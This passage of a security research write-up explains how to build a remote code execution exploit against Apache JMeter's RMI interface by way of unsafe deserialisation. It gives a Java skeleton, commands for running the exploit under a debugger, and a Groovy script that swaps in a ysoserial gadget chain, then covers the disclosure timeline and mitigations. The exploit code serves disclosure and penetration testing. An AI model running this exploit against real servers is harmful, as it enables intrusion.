- We need a gadget chain that we can leverage for meaningful exploitation.
These things are alluded to in the above sections, but we want to summarise them again here, especially as these are quick and easy to find.
In terms of the interface, usually the go-to method of extracting an RMI interface is decompiling a jar. A jar is a packaged Java program file, like a zip archive of compiled code. But as JMeter is open source, meaning its code is published for anyone to read, a quick search of the repository pointed us to the RemoteJMeterEngine class. Searching for keywords like RemoteException is a surprisingly high fidelity way to find these interfaces when you know RMI is in use.
We then confirmed JMeter is using unsafe deserialisation in multiple places. You can see this by checking the interface and noting that it has methods which rely on serialisation and take in non-primitive, non-string objects. In this case, the method rconfigure is an excellent candidate for exploitation as it looks to be unchanged through multiple versions of JMeter.
A meaningful gadget chain in this case may not be immediately obvious, but one can be found with little effort. As described above, we ran Gadget Inspector to discover a gadget chain in Mozilla Rhino.
To write the exploit, copy the interface from Apache JMeter into a new Java project, then go through and copy in any other code and dependencies you need until the interface does not have errors. From here, you can also copy in the gadget chain listed above. Once you have the gadget chain and the RemoteJMeterEngine interface on your classpath (the list of places Java looks for code), you can then call remote JMeter methods on your victim.
A plain invocation (nothing malicious yet) would look like the below in your skeleton exploit so far:
public static void main(String[] args) throws Exception { RemoteJMeterEngine jms = (RemoteJMeterEngine) reg.lookup("JMeterEngine"); //rsetProperties works, except the parameter changed in JMeter 5.1, so rconfigure is more stable HashTree testTree = new HashTree(); jms.rconfigure(testTree, null, null, null); //Rest ommitted}
Line by line:
public static void main(String[] args) throws Exception {is the entry point of the exploit program.RemoteJMeterEngine jms = (RemoteJMeterEngine) reg.lookup("JMeterEngine");asks the registry for the object namedJMeterEngineand treats it as JMeter's remote engine.- The comment notes that
rsetPropertiesworks, except the parameter changed in JMeter 5.1, sorconfigureis more stable. HashTree testTree = new HashTree();creates an empty tree object to send.jms.rconfigure(testTree, null, null, null);calls the remote configure method with the tree and three empty values. At this stage nothing malicious is sent; this is just to prove the connection works.- The final comment marks where the rest of the code would go.
Now, we want to replace the HashTree with a malicious object at runtime, specifically our evil gadget chain. For the lazy like me, the easiest way is to use a debugger. A debugger is a tool that lets you pause a running program, inspect its variables, and change them before letting it continue. By doing so, you can essentially replace whatever object your target is asking for (such as a HashMap) with a malicious object after validation. In concept, this works similar to bypassing client-side validation using a proxy in web application testing: the browser checks the form, but you intercept the request after the check and change it before it leaves.
This is not a new technique, and it is described in depth, with sample code, in the Mogwai Labs article on attacking Java RMI services after JEP 290. JEP 290 is a Java improvement that added serialisation filters.
Once you have the basic code, you can run your exploit, connect a debugger to it, and replace the object on the fly. The commands will look something like the below:
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=[redacted]:8000 -jar JMeter_deserialization_poc.jarjava -jar youdebug.jar -socket [redacted]:8000 ../../src/main/java/groovy/evil_script.groovy
Line by line:
javastarts the Java runtime.-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=[redacted]:8000turns on Java's built-in debugging support. It listens on the local address[redacted](the machine itself) on port8000, andsuspend=ymeans the program waits before starting until a debugger connects.-jar JMeter_deserialization_poc.jarruns the exploit program packaged in that jar file.- The second command,
java -jar youdebug.jar -socket [redacted]:8000 ../../src/main/java/groovy/evil_script.groovy, starts youdebug, a tool that attaches a debugger and runs a script of instructions against the paused program. It connects to the same local port and runs the Groovy script that performs the object swap.
If all goes well, your application will attempt to connect to the vulnerable registry, validate that it is sending an object that matches the interface, then that object will be replaced by the debugger with a malicious one and passed on. As that object is being deserialised, it will trigger a series of method calls, resulting in RCE.
The 'Austin' Optimisation
The above works, but if you are using the youdebug script provided by Hans-Martin Münch, it will be slow when testing anywhere but a local network. This happens because it places a lot of breakpoints. A breakpoint is a marker that tells the debugger to pause the program at a particular line. It can be sped up significantly by limiting where breakpoints are placed.
A coworker came up with an elegant solution to this problem. The answer is to throw and catch a custom exception right before you make the RMI call. An exception is Java's way of signalling that something went wrong; throwing one means raising an error, and catching one means handling it. A custom exception is one you define yourself, so it has a unique name. This allows you to hook the unique exception, setting only a single breakpoint immediately before the relevant method call. This speeds up execution significantly.
Here is what it looks like in Java when we do this, as well as the corresponding changes in the debug script:
Debug Script:
package groovy// This uses the techinque and source code described here:// https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290///Special thanks to Austin Munsch for making this magnitudes faster for this use casedef payloadName = "MozillaRhino3";def payloadCommand = "touch /tmp/singed4"def needle = "HashTree"println "Attempting to use payload: "+payloadNamevm.exceptionBreakpoint("ysoserial.payloads.TheAustin") { vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") { println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called" // make sure that the payload class is loaded by the classloader of the debugee vm.loadClass("ysoserial.payloads." + payloadName); // get the Array of Objects that were passed as Arguments delegate."@2".eachWithIndex { arg, idx -> println "[+] Argument " + idx + ": " + arg[0].toString(); if (arg[0].toString().contains(needle)) { println "[+] Needle " + needle + " found, replacing String with payload" def payload = vm._new("ysoserial.payloads." + payloadName); def payloadObject = payload.getObject(payloadCommand) vm.ref("java.lang.reflect.Array").set(delegate."@2", idx, payloadObject); println "[+] Done.." } } } println("secondary breakpoint set")}println "Breakpoints set"%
Line by line:
package groovygroups the script.- The comment lines credit the technique and source, and thank Austin Munsch for making it much faster for this use case.
def payloadName = "MozillaRhino3";names the gadget chain to use.def payloadCommand = "touch /tmp/singed4"is the command the exploit will run on the target.touchcreates an empty file, a harmless way to prove code ran.def needle = "HashTree"is the text to look for in the arguments, so the script knows which one to replace.println "Attempting to use payload: "+payloadNameprints a progress message.vm.exceptionBreakpoint("ysoserial.payloads.TheAustin") { ... }tells the debugger to pause whenever the custom exceptionTheAustinis thrown. This is the single, cheap hook.- Inside it,
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") { ... }pauses when the remote call is about to be made. println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"confirms the pause happened.vm.loadClass("ysoserial.payloads." + payloadName);loads the payload class into the running program so it can be used.delegate."@2".eachWithIndex { arg, idx -> ... }walks through the array of arguments passed to the remote call, with their positions.println "[+] Argument " + idx + ": " + arg[0].toString();prints each argument.if (arg[0].toString().contains(needle)) { ... }checks whether this argument looks like the tree object we want to replace.def payload = vm._new("ysoserial.payloads." + payloadName);creates the malicious object.def payloadObject = payload.getObject(payloadCommand)builds it with the command to run.vm.ref("java.lang.reflect.Array").set(delegate."@2", idx, payloadObject);writes the malicious object into the argument array in place of the original.println "[+] Done.."confirms the swap.- The closing lines print that the secondary breakpoint and all breakpoints are set.
The Fine Print
This issue initially was reported to Apache on January 11, 2022. After following up, Apache noted that the issue was rejected without comment. We requested further clarification, but did not hear back from Apache until we asked CERT/CC on April 25, 2022 to assist under a Coordinated Vulnerability Disclosure Process. CERT/CC is a publicly funded body that helps researchers and vendors communicate about security problems; coordinated disclosure means giving the vendor time to fix before details go public. Apache notified us on May 5, 2022 that it rejects the issue for several reasons.
By default, Apache JMeter supports mutual TLS for the RMI port. TLS is the encryption that protects connections, the same technology behind the padlock in your browser. Mutual TLS means both sides present a certificate, a digital identity document, so the server checks the client as well as the client checking the server. If an attacker cannot talk to the RMI port (no client cert), then this cannot be exploited. In the researcher's experience, most administrators cannot figure out how to get two way TLS working, and end up disabling it.
Second, JMeter has no authentication at all if mutual TLS is disabled, and anyone can use the standard client to achieve RCE, which Apache considers intended behaviour. While the architecture choices and deserialisation are separate issues, the deserialisation adds no additional impact and so is not a priority. At most, no logs are created when using the deserialisation attack as opposed to the client to achieve RCE.
As a mitigation, JMeter's website has suggested in the past adding a process-wide filter when running the application. This approach can work, but filters are sometimes ineffective or incomplete, and it puts security on the client; it is not often people add a serialisation filter to a jar they download from the internet.
Other protection options include using a Java Agent to restrict objects that are deserialised (see notsoserial), overriding some of Java's default methods as suggested by OWASP, or ensuring that your RMI methods only take in primitives or strings as parameters. A Java Agent is a small program that runs alongside Java and can watch or change what the application does. OWASP is a well-known non-profit that publishes free security guidance. However, all of these approaches present their own unique challenges.
If you use JMeter in your organization, be careful, ensure mutual TLS is enabled, and make sure that an IP allowlist is in place to restrict access to the RMI port. An IP allowlist is a list of addresses that are permitted; everything else is refused. If you are a pentester, keep an eye out for JMeter, and have fun.
Timeline
- Jan 11, 2022: Reached out to Apache, received an acknowledgment they received the report back the same day.
- Jan 25, 2022: Reached back out to the vendor to see if they needed any additional information or help replicating. Vendor replies that they rejected the issue.
- Jan 25, 2022: Ask for more information, on why it was rejected, as I still feel it's a valid issue
- Feb 3, 2022: Reach out again, no response
- April 25th, 2022: File a ticket with CERT for assistance contacting Apache
- May 5th, 2022: Apache responds and explains reasoning behind rejection, ticket closed
TLDR
Apache JMeter gives trivial RCE both as a service and by exploiting the RMI channel it uses for communications. Configuring JMeter with mutual TLS is Apache's recommended solution to this issue, however it is not commonly implemented in practice, it can be hard to do well, and anything that bypasses it can still lead to RCE. Apache does not view this as an issue. There is no easy mitigation, patch or fix. If you are using Apache JMeter, you should be aware of the potential risks.
Glossary
- API: the set of named doors a program offers to other programs, each expecting certain inputs and producing certain results.
- Authentication: proving who you are, for example with a password or a certificate.
- Authorization: deciding what an authenticated person or program is allowed to do.
- Boolean: a value that is either true or false.
- Breakpoint: a marker that tells a debugger to pause a running program at a particular point.
- Brute force: trying every possible combination until one works.
- CERT/CC: a publicly funded body that helps researchers and vendors communicate about security problems.
- Classpath: the list of places Java looks for code when running a program.
- Client certificate: a digital identity document a client presents to prove who it is.
- Coordinated vulnerability disclosure: a process where a researcher gives a vendor time to fix a problem before details are made public.
- Debugger: a tool that lets you pause a running program, inspect its variables and change them before letting it continue.
- Dependency: an extra library a program relies on to work.
- Deserialisation: turning a stream of bytes back into a live object in a program's memory.
- DNS: the system that turns a website name into a network address.
- Exception: Java's way of signalling that something went wrong; throwing raises one, catching handles it.
- Gadget chain: a series of methods that fire automatically during deserialisation and together produce an effect, such as running code.
- GUI: graphical user interface, the windows and buttons you click.
- HashMap: a dictionary-like object that stores pairs of keys and values.
- HashTree: a tree-shaped collection object used by JMeter.
- Interface: a contract listing method names and their inputs, without the code that does the work.
- IP allowlist: a list of network addresses that are permitted, with everything else refused.
- Jar: a packaged Java program file, like a zip archive of compiled code.
- Java Agent: a small program that runs alongside Java and can watch or change what the application does.
- JEP 290: a Java improvement that added serialisation filters.
- JMeter: a free Java tool for load testing and measuring the performance of servers.
- JVM: the Java Virtual Machine, the runtime that executes Java programs.
- Method: a named piece of code that does something, possibly taking inputs and returning a result.
- Method signature: the name and parameters of a method.
- Mutual TLS: TLS where both sides present certificates, so each checks the other's identity.
- nmap: a free tool that probes a machine's ports and reports what is listening.
- Obfuscation: making code hard to read, usually automatically.
- OWASP: a well-known non-profit that publishes free security guidance.
- Parameter: an input a method accepts.
- Pentester: a person paid to break into systems with permission, to find weaknesses before criminals do.
- Port: a numbered door on a computer that a particular service listens behind.
- Primitive: a basic value such as a number or a true/false flag, as opposed to an object.
- RCE (remote code execution): an attacker getting to run their own programs on someone else's machine.
- Registry (RMI registry): a directory service that keeps names and the remote objects they point to.
- REST API: a common style of web API where named endpoints are called over HTTP.
- Reverse engineering: working out how a program works from its compiled files.
- RMI (Remote Method Invocation): Java's mechanism for calling methods on a program running on another machine.
- Serialisation: turning a live object in memory into a stream of bytes that can travel or be stored.
- Serialisation filter: a guard that inspects incoming objects and refuses dangerous ones.
- Shodan: a website that works like a search engine for internet-connected devices and services.
- String: a piece of text.
- TLS: the encryption that protects connections, the technology behind the padlock in your browser.
- URLDNS: a gadget chain in ysoserial that makes the target perform an outbound DNS lookup.
- Vulnerability: a weakness in a system that someone could abuse to cause harm.
- ysoserial: a public collection of ready-made Java gadget chains used in security testing.
- youdebug: a tool that attaches a debugger to a Java program and runs a script of instructions against it.